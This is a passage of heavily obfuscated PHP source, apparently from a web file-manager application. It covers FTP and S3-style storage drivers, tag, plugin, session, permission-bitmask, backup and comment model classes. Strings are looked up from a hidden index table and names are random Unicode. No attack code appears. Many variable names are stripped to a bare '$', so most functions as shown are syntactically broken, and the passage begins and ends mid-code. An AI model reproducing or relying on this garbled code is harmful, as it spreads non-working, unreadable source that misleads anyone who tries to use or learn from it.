$Ƒا; } public function upload($, $ɽ, $ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ɽ = $this->iconvSystem($ɽ); $ = ftp_nb_put($this->connect, $, $ɽ, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); return !1; } return $this->getPathOuter($); } public function download($׭, $嫾΋ = '') { if (!$this->_isconn()) { return !1; } $ݲ = $this->pathFather($嫾΋); if (!IO::mkdir($ݲ)) { return !1; } $׭ = $this->iconvSystem($׭); $嫾΋ = $this->iconvSystem($嫾΋); $޵ = ftp_nb_get($this->connect, $嫾΋, $׭, FTP_BINARY); while ($޵ == FTP_MOREDATA) { $޵ = ftp_nb_continue($this->connect); } if ($޵ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[ׇ][1450], !0); return !1; } return $this->iconvApp($嫾΋); } public function exist($ܳ) { return $this->isFile($ܳ) || $this->isFolder($ܳ); } public function isFile($Ԇٖ) { return !$this->isFolder($Ԇٖ) && $this->objectMeta($Ԇٖ); } public function isFolder($) { return $this->cacheMethod($_SERVER[ׇ][179], $); } protected function objectMeta($З) { return $this->cacheMethod($_SERVER[ׇ][181], $З); } protected function _objectMeta($̈́) { $̟ =& $_SERVER[ׇ]; if ($̈́ == $̟[12] || $̈́ == $̟[8]) { return array(); } if (!$this->_isconn()) { return !1; } $̈́ = $this->iconvSystem($̈́); $ = array($̟[32] => $this->iconvApp($̈́), $̟[33] => $̟[230], $̟[79] => 0); @ftp_chdir($this->connect, $̟[8]); $覛 = @ftp_size($this->connect, $̈́); if ($覛 != -1) { $[$̟[79]] = $覛; } else { $ = @ftp_chdir($this->connect, $̈́); if (!$) { return !1; } $[$̟[33]] = $̟[78]; } return $; } protected function _isFolder($̈́) { $ =& $_SERVER[ׇ]; if ($̈́ == $[12] || $̈́ == $[8]) { return !0; } $ = $this->_objectMeta($̈́); return isset($[$[33]]) && $[$[33]] == $[78] ? !0 : !1; } } class PathDriverJOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[ׇ][247]); } public function uploadLink($Ѳ, $ = 0) { $ =& $_SERVER[ׇ]; if ($this->isUploadServer()) { return; } $Ԥ = $this->getType(); if (!in_array($Ԥ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Ãγ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ = $this->multiUploadFormData($Ѳ, $Ãγ); if ($) { $[$[97]] = $Ѳ; $[$[98]] = $Ԥ; } return $; } public function fileOutImage($, $ȇ = 250) { if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $ȇ); } $ = $this->link($); $ .= $_SERVER[ׇ][1453] . $ȇ; $this->fileOutLink($); } public function fileOutLink($ơ) { $ʀ =& $_SERVER[ׇ]; if (substr($ơ, 0, 7) == $ʀ[313]) { $ơ = $ʀ[314] . substr($ơ, 7); } header($ʀ[175] . $ơ); die; } } goto Bɲ; d: class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\x5f\146\141\x76"; protected function cacheFunctionAlias($) { $ͪ =& $_SERVER[ׇ]; return array($ͪ[2084] => array($[0], $ͪ[2085]), $ͪ[2086] => array($[0], $ͪ[2087])); } protected function get($ז) { $ =& $_SERVER[ׇ]; $ = Model($[585])->metaGet($ז, $[2088]); $Μֺ = json_decode($, !0); return $Μֺ ? $Μֺ : array($[2089] => $[91], $[445] => array()); } protected function set($͉, $ڨ) { $ф͟ =& $_SERVER[ׇ]; $ڨ = $ڨ ? $ڨ : array($ф͟[2089] => $ф͟[91], $ф͟[445] => array()); return Model($ф͟[585])->metaSet($͉, $ф͟[2088], json_encode($ڨ)); } protected function getByTagID($, $һ) { $ =& $_SERVER[ׇ]; if (!$ || !$һ) { return !1; } if (!Model($[585])->getInfoSimple($)) { return !1; } $웚 = $this->get($); if (!$웚 || !isset($웚[$[445]])) { return !1; } $஄ = array_find_by_field($웚[$[445]], $[475], $һ); return is_array($஄) ? $஄ : !1; } public function listSource($Ħ, $ƌ) { $ =& $_SERVER[ׇ]; if ($ƌ && !is_array($ƌ)) { $ƌ = array($ƌ); } $Ϲ = $this->listData($Ħ); $ݡ鳴 = array(); foreach ($Ϲ as $) { $ά = $[$[87]]; if (!$ά) { continue; } if (!isset($ݡ鳴[$ά])) { $ݡ鳴[$ά] = array(); } $ݡ鳴[$ά][] = $[$[500]]; } $ڸ = array(); foreach ($ݡ鳴 as $䊈 => $) { $LJ = !0; if (!$ƌ) { $ڸ[] = $䊈; continue; } foreach ($ƌ as $) { if (!in_array($, $)) { $LJ = !1; break; } } if ($LJ) { $ڸ[] = $䊈; } } if (!$ڸ) { return array(); } $ = array($[491] => array($[492], $ڸ), $[569] => $Ħ, $[190] => SourceModel::TYPE_GROUP); $ = Model($[1420])->listSource($); if (!$ || count($ڸ) == $[$[442]][$[443]]) { return $; } $Ӿ = array(); $ = array_to_keyvalue($[$[85]], $[12], $[193]); $ = array_to_keyvalue($[$[86]], $[12], $[193]); $Ώ = array_merge($, $); foreach ($ڸ as $ά) { if (!in_array($ά, $Ώ)) { $Ӿ[] = $ά; } } if ($Ӿ) { $this->removeBySource($Ħ, $Ӿ); } return $; } protected function listData($) { $䳻 =& $_SERVER[ׇ]; $כ = array($䳻[1763] => 0, $䳻[557] => array($䳻[2090], 0), $䳻[496] => $䳻[2091] . $); $񺣝 = $䳻[2092]; $ȼ = $this->field($񺣝)->where($כ)->order($䳻[2093])->select(); return $ȼ ? $ȼ : array(); } protected function addToTag($͝, $, $ߟ) { $й =& $_SERVER[ׇ]; if (!$this->getByTagID($͝, $ߟ) || !$) { return !1; } if (!Model($й[897])->pathInfo($)) { return !1; } $˗ = array($й[1763] => 0, $й[557] => $ߟ, $й[495] => $, $й[496] => $й[2094] . $͝, $й[494] => $й[12], $й[1975] => 0); if ($this->where($˗)->find()) { return !1; } return $this->add($˗); } protected function removeFromTag($⎻, $, $) { $Œ =& $_SERVER[ׇ]; if (!$this->getByTagID($⎻, $) || !$) { return !1; } if (is_array($)) { $ = array($Œ[7], $); } $ތ = array($Œ[1763] => 0, $Œ[557] => $, $Œ[496] => $Œ[2094] . $⎻, $Œ[495] => $); return $this->where($ތ)->delete(); } protected function removeByTag($ܣ, $) { $չ =& $_SERVER[ׇ]; if (!$this->getByTagID($ܣ, $)) { return !1; } $ґ = array($չ[1763] => 0, $չ[557] => $, $չ[496] => $չ[2094] . $ܣ); return $this->where($ґ)->delete(); } protected function removeBySource($׺, $ɟ) { $ =& $_SERVER[ׇ]; if (!$׺ || !$ɟ) { return !1; } if (is_array($ɟ)) { $ɟ = array($[7], $ɟ); } $ = array($[1763] => 0, $[495] => $ɟ, $[557] => array($[1092], 0), $[496] => $[2094] . $׺); return $this->where($)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\x6d\56\x70\154\x75\x67\151\x6e\114\151\163\164"; public $field = array("\x6e\141\155\145", "\x73\x74\x61\x74\x75\163", "\162\x65\147\151\x65\x73\164", "\x63\157\x6e\x66\151\x67"); public function loadList($Ϲ = false) { $ۛ = array_to_keyvalue($this->listData(), $_SERVER[ׇ][32]); if ($Ϲ) { return $ۛ[$Ϲ]; } return $ۛ; } public function init() { $̳ =& $_SERVER[ׇ]; Hook::trigger($̳[2095]); $ = $this->loadPluginList(); foreach ($ as $τ => $ț) { $اö = $this->appAllow($τ, $ț); if (!$اö) { continue; } foreach ($ț[$̳[2096]] as $纁 => $߯) { Hook::bind($纁, $߯); } } Hook::trigger($̳[2097]); Hook::trigger(ACTION); } public function appAllow($䤜ދ, $֦, $ش = true) { $ز =& $_SERVER[ׇ]; $Ϥ = PLUGIN_DIR . $䤜ދ . $ز[2098]; if (!is_array($֦) || !is_array($֦[$ز[2096]]) || $֦[$ز[823]] != 1 || !is_file($Ϥ)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$ز[6]][$ز[2099]] || !$GLOBALS[$ز[6]][$ز[2100]]) { return !0; } $ = explode($ز[50], strtolower($GLOBALS[$ز[6]][$ز[2100]])); return in_array(strtolower($䤜ދ), $) ? !1 : !0; } if ($ش && !Action($ز[2101])->checkAuth($䤜ދ)) { return !1; } return !0; } public function unInstall($ǖ) { $粃 =& $_SERVER[ׇ]; $Ȓ = $this->loadList($ǖ); if (file_exists(PLUGIN_DIR . $ǖ)) { Hook::apply($ǖ . $粃[2102]); } $this->remove($Ȓ[$粃[475]]); } public function changeStatus($뀼, $) { $ =& $_SERVER[ׇ]; $ͬ = $this->loadList($뀼); if ($) { Hook::apply($뀼 . $[2103]); } $this->update($ͬ[$[475]], array($[2104] => $)); } public function appRegist($Յ, $) { $ꉠ =& $_SERVER[ׇ]; $ = $this->loadList($Յ); if ($) { $this->update($[$ꉠ[475]], array($ꉠ[2096] => $)); } else { $ꤦ = array($ꉠ[32] => $Յ, $ꉠ[2096] => $, $ꉠ[823] => 0, $ꉠ[6] => $this->getConfigDefault($Յ)); $this->insert($ꤦ); } } public function getConfigDefault($ߣ硍) { $З =& $_SERVER[ׇ]; $ = array(); $ͻ = $this->getPackageJson($ߣ硍); if (!$ͻ && is_array($ͻ[$З[2105]])) { return $; } foreach ($ͻ[$З[2105]] as $א => $) { if (!isset($[$З[450]]) || isset($[$א])) { continue; } $[$א] = $[$З[450]]; } return $; } public function getPackageJson($ޚ) { return Hook::apply($ޚ . $_SERVER[ׇ][2106]); } public function getConfig($ŭ, $Ӭ = false) { $ =& $_SERVER[ׇ]; $ = array(); $ = $this->loadList($ŭ); if ($ && is_array($[$[6]])) { $ = $[$[6]]; } if (!$ || $Ӭ) { $ = $this->getConfigDefault($ŭ); } return $; } public function setConfig($, $Փ = false) { $͵ =& $_SERVER[ׇ]; $ = $this->loadList($); if (!$) { return !1; } $չ = $[$͵[6]]; if ($Փ == !1) { $չ = array(); $Փ = $this->getConfigDefault($); } foreach ($Փ as $ܸ => $) { $չ[$ܸ] = is_string($) ? trim($) : $; } $this->update($[$͵[475]], array($͵[6] => $չ)); } public function viewList() { $礶Ӗ =& $_SERVER[ׇ]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $э = array(); foreach ($ as $ => $Ǚ) { $݇䈘 = $Ǚ; unset($Ǚ[$礶Ӗ[2096]], $Ǚ[$礶Ӗ[6]]); $ = PLUGIN_DIR . $Ǚ[$礶Ӗ[32]] . $礶Ӗ[2098]; if (!is_file($)) { continue; } $ = Hook::apply($Ǚ[$礶Ӗ[32]] . $礶Ӗ[2106]); if (!is_array($)) { continue; } $э[$] = array_merge($Ǚ, $); if ($݇䈘[$礶Ӗ[6]][$礶Ӗ[1686]] != $[$礶Ӗ[1660]]) { Hook::apply($Ǚ[$礶Ӗ[32]] . $礶Ӗ[2103]); $݇䈘[$礶Ӗ[6]][$礶Ӗ[1686]] = $[$礶Ӗ[1660]]; $this->update($Ǚ[$礶Ӗ[475]], array($礶Ӗ[6] => $݇䈘[$礶Ӗ[6]])); } } return $э; } private function loadPluginList() { $ =& $_SERVER[ׇ]; $Դ = $this->loadList(); if (strtolower(MOD) == $[2107]) { return $Դ; } $ = Hook::trigger($[2108], $Դ); if ($Դ && !$) { die; } return $ ? $ : $Դ; } private function pluginScan($) { $ǵ =& $_SERVER[ׇ]; recursion_dir(PLUGIN_DIR, $受, $ഠ, 0); foreach ($受 as $) { $Ǘ֚ = get_path_this($); if (isset($[$Ǘ֚]) || !file_exists($ . $ǵ[2109]) || !file_exists($ . $ǵ[2098])) { continue; } Hook::apply($Ǘ֚ . $ǵ[2103]); } } } class SessionModel extends ModelBase { protected $tableName = "\x73\171\x73\164\145\155\137\163\145\x73\x73\151\x6f\x6e"; public function get($) { $ω =& $_SERVER[ׇ]; $ = $this->where(array($ω[2110] => $))->find(); if (!is_array($)) { return !1; } return $[$ω[171]]; } public function set($̯Ʌ, $ʵ, $ = 3600) { $ =& $_SERVER[ׇ]; $嗗 = array($[2110] => $̯Ʌ, $[2010] => $ʵ, $[2111] => $ + time()); if (Session::get($[2112])) { $嗗[$[1772]] = Session::get($[2112]); } else { $嗗[$[1772]] = 0; } if ($this->get($̯Ʌ)) { return $this->where(array($[2110] => $̯Ʌ))->save($嗗); } else { return $this->add($嗗, array(), !0); } } public function remove($鳜) { return $this->where(array($_SERVER[ׇ][2110] => $鳜))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ׇ][2113] . time())->delete(); } } goto A҅; eܹퟵ: class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ߨ =& $_SERVER[ׇ]; $Ԋ = array(array($ߨ[494] => LNG($ߨ[1972]), $ߨ[1973] => $ߨ[1974], $ߨ[1975] => 1, $ߨ[1976] => 1, $ߨ[1977] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($ߨ[494] => LNG($ߨ[1978]), $ߨ[1973] => $ߨ[1979], $ߨ[1975] => 2, $ߨ[1976] => 1, $ߨ[1977] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($ߨ[494] => LNG($ߨ[1980]), $ߨ[1973] => $ߨ[1981], $ߨ[1975] => 3, $ߨ[1976] => 1, $ߨ[1977] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($ߨ[494] => LNG($ߨ[1982]), $ߨ[1973] => $ߨ[1983], $ߨ[1975] => 4, $ߨ[1976] => 1, $ߨ[1977] => self::AUTH_SHOW | self::AUTH_VIEW), array($ߨ[494] => LNG($ߨ[1984]), $ߨ[1973] => $ߨ[1985], $ߨ[1975] => 5, $ߨ[1976] => 1, $ߨ[1977] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($ߨ[494] => LNG($ߨ[1986]), $ߨ[1973] => $ߨ[1987], $ߨ[1975] => 6, $ߨ[1976] => 1, $ߨ[1977] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($ߨ[494] => LNG($ߨ[1988]), $ߨ[1973] => $ߨ[1989], $ߨ[1975] => 7, $ߨ[1976] => 1, $ߨ[1977] => 0)); return $Ԋ; } public static function authCheck($Ȗ, $) { $뉩 =& $_SERVER[ׇ]; $Ȗ = intval($Ȗ); if (KodUser::isRoot() && $GLOBALS[$뉩[6]][$뉩[1990]]) { return !0; } if ($Ȗ <= 0) { return !1; } if (($Ȗ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($Ȗ & $); } public static function authCheckShow($ɹ) { return self::authCheck($ɹ, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($ՔŢ) { return self::authCheck($ՔŢ, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($ڭ) { return self::authCheck($ڭ, self::AUTH_EDIT); } public static function authCheckRemove($֫) { return self::authCheck($֫, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($׌) { return self::authCheck($׌, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($М߯, $팿) { $ =& $_SERVER[ׇ]; $ = array($[1991] => self::AUTH_VIEW, $[1279] => self::AUTH_DOWNLOAD, $[110] => self::AUTH_UPLOAD, $[1940] => self::AUTH_EDIT, $[1939] => self::AUTH_REMOVE, $[1950] => self::AUTH_SHARE, $[430] => self::AUTH_COMMENT, $[1760] => self::AUTH_EVENT, $[1992] => self::AUTH_ROOT); if (!isset($[$팿])) { return; } $݈ = $[$팿]; $М߯ = intval($М߯); if ($М߯ <= 0) { return !1; } if (($М߯ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($М߯ & $݈); } public static function authDisable($, $) { if (intval($) <= 0) { return 0; } return intval($) & ~$; } public $optionType = "\123\171\x73\x74\x65\155\56\163\157\165\162\143\145\x41\165\x74\x68\x4c\x69\163\x74"; public $field = array("\x6e\141\x6d\145", "\x61\x75\164\150", "\x6c\141\x62\x65\x6c", "\x64\151\x73\x70\x6c\x61\x79", "\163\171\x73\x74\x65\155", "\163\x6f\162\164"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function findAuth($Ԓ, $Ӧ) { $ǩ =& $_SERVER[ׇ]; $́ = parent::listData(); foreach ($́ as $֥) { $ٞ = intval($֥[$ǩ[487]]); if ($ٞ <= 0 || $֥[$ǩ[1993]] == 0) { continue; } if (($ٞ & $Ԓ) != $Ԓ) { continue; } if (($ٞ & $Ӧ) != 0) { continue; } return $֥[$ǩ[475]]; } return !1; } public function findAuthReadOnly() { $DZ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $Ӿ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($DZ, $Ӿ); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ɠ =& $_SERVER[ׇ]; $ = parent::listData(); $ = !1; foreach ($ as $ŨƧ) { if ($ŨƧ[$ɠ[487]] <= 0 || $ŨƧ[$ɠ[1993]] == $ɠ[228]) { continue; } if (!$) { $ = $ŨƧ; continue; } if ($[$ɠ[487]] > $ŨƧ[$ɠ[487]]) { $ = $ŨƧ; } } return $ ? $[$ɠ[475]] : $ɠ[12]; } public function listData($ = false, $ = "\x73\x6f\162\164", $ܳ = false) { return parent::listData($, $, $ܳ); } public function update($, $) { $Ԝ =& $_SERVER[ׇ]; $ܦӕ = parent::listData($); $鸬 = $this->findByName($[$Ԝ[32]]); if (!$ܦӕ || $鸬 && $鸬[$Ԝ[475]] != $ܦӕ[$Ԝ[475]]) { return !1; } $this->filterAuth($[$Ԝ[487]]); return parent::update($, $); } public function remove($ō) { $ѐܧ = parent::listData($ō); if (!$ѐܧ || $ѐܧ[$_SERVER[ׇ][191]]) { return !1; } return parent::remove($ō); } public function add($ڍ = array()) { $غ =& $_SERVER[ׇ]; if ($this->findByName($ڍ[$غ[32]])) { return !1; } $ = array($غ[32] => $غ[12], $غ[487] => 1, $غ[1994] => $غ[1981], $غ[1993] => 1, $غ[191] => 0, $غ[1995] => 0); $ڍ = array_merge($, $ڍ); $ڍ[$غ[1995]] = $this->getSort(); $this->filterAuth($ڍ[$غ[487]]); return parent::insert($ڍ); } private function getSort() { $Ө =& $_SERVER[ׇ]; $ = parent::listData(); $ = array_to_keyvalue($, $Ө[12], $Ө[1995]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { if (!$) { return; } $ױ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $Ļ = array(); foreach ($ױ as $) { if ($ & $) { $Ļ[] = $; } } if (in_array(self::AUTH_ROOT, $Ļ)) { $ = array_sum($ױ); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($Ļ as $) { if (isset($[$])) { $Ļ = array_merge($Ļ, $[$]); } } $Ļ[] = self::AUTH_SHOW; $ = array_sum(array_unique($Ļ)); } public function sort($դԽ, $) { return parent::update($դԽ, $); } } class BackupModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\x6d\56\142\x61\143\x6b\165\x70\x4c\x69\x73\x74"; public $field = array("\x69\157", "\x6e\141\x6d\x65", "\163\x74\x61\x74\165\163", "\143\157\156\x74\145\156\x74", "\x6d\141\x6e\165\x61\x6c", "\162\145\x73\x75\x6c\164", "\x74\x69\x6d\x65\x46\x72\x6f\155", "\x74\x69\x6d\145\x54\x6f"); public function config() { $ס =& $_SERVER[ׇ]; Action($ס[1996])->taskInit(); $Ӄڬ = Model($ס[843])->get($ס[856]); $Ӄڬ = json_decode($Ӄڬ, !0); $Ӄڬ = is_array($Ӄڬ) ? $Ӄڬ : array(); $this->parseContent($Ӄڬ); unset($Ӄڬ[$ס[1742]]); Model($ס[1741])->cacheClear(); $ロ = $ס[1997]; $ = Model($ס[1998])->findByKey($ס[1760], $ロ); if (!$) { $ = array(); } if (isset($[$ס[206]])) { $[$ס[206]] = json_decode($[$ס[206]], !0); } if (isset($Ӄڬ[$ס[206]])) { $[$ס[206]][$ס[1745]] = $Ӄڬ[$ס[206]]; unset($Ӄڬ[$ס[206]]); } return array_merge($, $Ӄڬ); } public function listData($٥ = false, $ = "\x6d\157\x64\x69\146\x79\x54\x69\155\145", $Цò = false) { $ːٸ = parent::listData($٥, $, !0); if (!$ːٸ) { return $ːٸ; } if ($٥) { $ːٸ = array($ːٸ); } foreach ($ːٸ as &$՗) { $this->parseContent($՗); } return $٥ ? $ːٸ[0] : $ːٸ; } public function parseContent(&$) { $ =& $_SERVER[ׇ]; $𳙄 = _get($, $[171], $[91]); if (!in_array($𳙄, array($[849], $[1211]))) { $[$[171]] = $𳙄 == $[91] ? $[1211] : $[849]; } } public function lastItem() { $ˁ = $this->listData(); return !empty($ˁ[0]) ? $ˁ[0] : null; } public function kill($υ) { $ޟ =& $_SERVER[ׇ]; $ = $this->listData($υ); if (!$ || empty($[$ޟ[32]])) { return !0; } Task::kill($ޟ[855]); Task::kill($ޟ[873]); Task::kill($ޟ[882]); $ҡ = $[$ޟ[32]]; $ = TEMP_FILES . $ޟ[852] . $ҡ . $ޟ[8]; IO::remove($, !1); return $this->remove($υ); } public function remove($֜) { $LJ = $this->listData($֜); if (!$LJ) { return !0; } return $this->backupRemove($LJ); } private function backupRemove($μ) { parent::remove($μ[$_SERVER[ׇ][475]]); $Ύ = $this->backupPath($μ); IO::remove($Ύ, !1); return !0; } private function backupPath($˨Ш) { $⒘ =& $_SERVER[ׇ]; $Ǜꦵ = $˨Ш[$⒘[32]]; $ = Model($⒘[843])->get($⒘[844]); $ε = substr(md5($⒘[845] . $ . $Ǜꦵ), 0, 8); return "\173\151\157\72{$˨Ш[$⒘[825]]}\175\57\144\141\164\141\x62\x61\x73\x65\57\142\x61\143\153\x75\x70\x2f" . $Ǜꦵ . $⒘[11] . $ε; } public function start() { $ =& $_SERVER[ׇ]; if ($GLOBALS[$[6]][$[92]][$[1999]] != $[91]) { return !0; } $ŝ = $this->config(); if (!$ŝ || $ŝ[$[1742]] != $[91]) { return !1; } if ($ŝ[$[171]] == $[849]) { $ = Model($[843])->get($[1324]); if ($ == $[1325]) { $ŝ[$[171]] = $[1211]; } } $헕 = $this->process(); foreach ($헕 as $٢) { if ($٢) { return Task::restart($٢[$[475]]); } } $ = new Backup(); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $ŝ[$[171]] == $[849]) { $ = $->file(); } } Backup::set(array($[823] => 1, $[834] => time())); return !0; } public function process() { $Ҁ =& $_SERVER[ׇ]; $ג = array($Ҁ[830] => Task::get($Ҁ[855]), $Ҁ[835] => Task::get($Ҁ[873]), $Ҁ[230] => Task::get($Ҁ[882])); $࿬Ţ = !1; foreach ($ג as &$) { if ($࿬Ţ) { $ = !1; continue; } if ($) { $φ = intval(_get($, $Ҁ[1777], 0)); if (time() - $φ > 7200) { Task::kill($[$Ҁ[475]]); $࿬Ţ = !0; $ = !1; } } } return $ג; } public function restore() { $ =& $_SERVER[ׇ]; ActionCall($[1138], !0, 1); ActionCall($[1138], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\x6d\x6d\x65\x6e\164"; protected $tableMeta = array("\164\x61\x62\154\145\116\x61\155\145" => "\x63\157\x6d\x6d\145\x6e\x74\137\155\x65\x74\141", "\x6d\x65\x74\141\x46\151\x65\154\144" => "\143\157\x6d\x6d\x65\x6e\164\111\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($л) { $ଯ =& $_SERVER[ׇ]; if ($л[$ଯ[2000]]) { $ = $this->where(array($ଯ[2001] => $л[$ଯ[2000]]))->find(); if (!$ || $[$ଯ[190]] != $л[$ଯ[190]] || $[$ଯ[569]] != $л[$ଯ[569]]) { return !1; } $this->where(array($ଯ[2001] => $л[$ଯ[2000]]))->setAdd($ଯ[2002], 1); } $л[$ଯ[2003]] = 0; $л[$ଯ[2002]] = 0; $л[$ଯ[823]] = 1; return $this->add($л); } public function commentCount($, $, $ꊣ = false) { $ͫյ =& $_SERVER[ׇ]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($ͫյ[569], $ͫյ[2004] => $ͫյ[565]); $ = array($ͫյ[569] => array($ͫյ[7], $), $ͫյ[190] => $); if ($ꊣ) { $[$ͫյ[1772]] = $ꊣ; } $ɸï = $this->field($)->where($)->group($ͫյ[569])->select(); return array_to_keyvalue($ɸï, $ͫյ[569], $ͫյ[565]); } public function starTarget($, $졿) { $ܕփ =& $_SERVER[ׇ]; $׷ = $ + self::TYPE_STAR_OFFSET; $Ϟ = array($ܕփ[1772] => USER_ID, $ܕփ[190] => $׷, $ܕփ[569] => $졿); $ͷژ = $this->where($Ϟ)->find(); if ($ͷژ) { return $this->where(array($ܕփ[475] => $ͷژ[$ܕփ[475]]))->delete(); } $ѳ = array($ܕփ[2000] => 0, $ܕփ[1772] => USER_ID, $ܕփ[823] => 1, $ܕփ[171] => $ܕփ[12], $ܕփ[190] => $׷, $ܕփ[569] => $졿, $ܕփ[2003] => 0, $ܕփ[2002] => 0); return $this->add($ѳ); } public function starTargetCount($̝, $ȑч) { $ =& $_SERVER[ׇ]; $ڛު = $ȑч + self::TYPE_STAR_OFFSET; $헎 = $this->commentCount($̝, $ڛު); $쭖 = $this->commentCount($̝, $ڛު, USER_ID); return array($[2005] => $헎, $[2006] => $쭖); } public function starTargetUserList($ã, $) { $ =& $_SERVER[ׇ]; $߻ = $ã + self::TYPE_STAR_OFFSET; $󮟞 = array($[569] => $, $[190] => $߻); $ = $this->where($󮟞)->count(); $ = array($[332] => $, $[2007] => array()); if (!$) { return $; } $ = $this->field($[1772])->where($󮟞)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1772]); $[$[2007]] = Model($[577])->userListInfo($); return $; } public function prasiseUserList($̉ջ) { $¹ =& $_SERVER[ׇ]; $ = array($¹[2008] => $̉ջ); $܊ = $this->where($)->find(); $Ȱ = _get($܊, $¹[2003], 0); $񽋖 = array($¹[332] => $Ȱ, $¹[2007] => array()); if (!$Ȱ) { return $񽋖; } $޳ = Model($¹[2009])->field($¹[1772])->where($)->limit(500)->select(); $޳ = array_to_keyvalue($޳, $¹[12], $¹[1772]); $񽋖[$¹[2007]] = Model($¹[577])->userListInfo($޳); return $񽋖; } public function remove($æ) { $ؽ蜉 =& $_SERVER[ׇ]; $䷛ = array($ؽ蜉[2001] => $æ); $ = $this->where($䷛)->find(); if ($[$ؽ蜉[2000]]) { $this->where(array($ؽ蜉[2001] => $[$ؽ蜉[2000]]))->setAdd($ؽ蜉[2002], -1); } return $this->where($䷛)->delete(); } public function edit($Ň, $ػ֛) { $؊ =& $_SERVER[ׇ]; $ = array($؊[2001] => $Ň); return $this->where($)->save(array($؊[2010] => $ػ֛)); } public function prasise($ֿ) { $ =& $_SERVER[ׇ]; $ = Model($[2011]); $ = array($[2001] => $ֿ, $[1763] => USER_ID); $ = $->where($)->find(); if (!$) { $->add($); $˞ю = $this->where(array($[2001] => $ֿ))->setAdd($[2003], 1); } else { $->where($)->delete(); $˞ю = $this->where(array($[2001] => $ֿ))->setAdd($[2003], -1); } return $˞ю; } public function targetInfo($艫, $Ք) { $ =& $_SERVER[ׇ]; $Շ = array($[648] => $艫, $[649] => $Ք); $ȅ = $this->where($Շ)->count(); $ј = 